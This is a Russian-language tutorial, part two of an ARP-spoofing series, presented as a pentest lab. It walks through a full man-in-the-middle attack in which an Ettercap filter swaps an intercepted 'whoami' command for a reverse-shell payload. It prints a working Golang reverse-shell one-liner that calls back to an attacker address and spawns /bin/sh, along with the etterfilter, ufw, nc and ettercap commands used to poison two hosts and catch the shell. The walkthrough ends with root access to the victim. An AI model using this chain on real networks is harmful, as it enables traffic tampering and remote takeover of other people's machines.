ARP-spoofing ч.2 - полноценный MITM.

ARP-spoofing ч.2 - полноценный MITM.

C0RS|E7

В предыдущем разговоре об ARP-спуфинге (здесь) мы устроили небольшой хаос во внутренней сети, устроив отравление кэша ARP. На этот раз возьмем хаос под свой контроль, доведя дело до полноценного MITM с перехватом и подделкой запросов. Поехали :)


Предположим, что мы не смогли увидеть учетные данные во время анализа трафика. Как пентестеры, мы просто обязаны взломать обнаруженный веб-сервер. Поскольку пакеты пользователя Alice проходят через нашу скомпрометированную машину, мы можем вмешиваться в них. Как это сделать? Запустим Ettercap с опцией -F, которая позволяет применять фильтры в виде заданных файлов etterfilter.ef для сессии. Эти файлы .ef сначала должны быть скомпилированы из исходных файлов фильтров etterfilter (.ecf). Синтаксис их исходного кода похож на код на языке Си. В этой задаче мы предполагаем, что не будет иметь значения, обнаружат ли наши манипуляции, и не будем принимать никаких мер OPSEC.

Вспомним, что при анализе трафика мы заметили команду whoami. На мой взгляд, было бы логичнее всего использовать её для нашего фильтра. Чтобы лучше понять, как работают фильтры и синтаксис исходного кода, вооружимся переводчиком и обратимся к мануалу командой man etterfilter.

Создадим новый файл кода etterfilter с именем whoami.ecf и попробуем написать фильтр, соответствующий порту источника и транспортному протоколу пользователя Alice, заменяющий данные whoami на полезную нагрузку reverseshell.

Ознакомившись с мануалом, создадим файл whoami.ecf и напишем скрипт, заменяющий whoami на наш пейлоад run. Cкомпилируем этот файл с помощью etterfilter:

Вместо run мы пишем наш пейлоад, который будет запускать обратный коннект на нашу машину к сеансу bash на машине жертвы. Этот код мы вставляем прямо в строку, экранируя кавычки внутри самого кода обратным слэшем. Это вариант на Golang, но вам ничего не мешает использовать ваш любимый вариант вызова реверс-шелла. Файл ettercap.log, который вы видите в коде фильтра, рекомендую создать вручную в указанном каталоге.

echo 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"192.168.12.66:6666\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go &

Перейдем к нашей скомпрометированной машине. Закинем наш пейлоад и исходник whoami.ecf. Скомпилируем наш исходник (ettercap установлен на нашей удаленной машине), отключим фаервол и будем слушать:

etterfilter whoami.ecf -o whoami.ef
ufw allow in on eth1 from 192.168.12.20 to 192.168.12.66 port 6666 proto tcp
nc -lnvp 6666
Компилируем код фильтра и удаляем исходник

Запускаем спуффинг с применением нашего фильтра. Здесь мы внесем небольшие поправки, чтобы воздействовать только на конкретные адреса вместо всей сети:

ettercap -T -i eth1 -M arp /192.168.12.10// /192.168.12.20// -F whoami.ef

Пакеты полетели, и, наблюдая за процессом, мы рано или поздно замечаем вывод нашего фильтра. Самое время проверить наш слушатель! Открываем netcat и, действительно, к нам прилетел коннект с адреса 192.168.12.10. Проверяем - это наш клиент, мы получили доступ к его машине с рут-правами. Вернем всё как было, остановив ettercap с помощью клавиши q, и насладимся нашим шеллом ;)

MITM-атака прошла успешно. Мы отравили кэш ARP, тем самым получив возможность слушать трафик между пользователями Alice и Bob. После этого решили вмешаться в содержимое, заменив команду whoami, пойманную при пассивном прослушивании сети, на наш пейлоад, вызывающий обратное подключение оболочки bash к нашему слушателю.

C0RS|E7

Report Page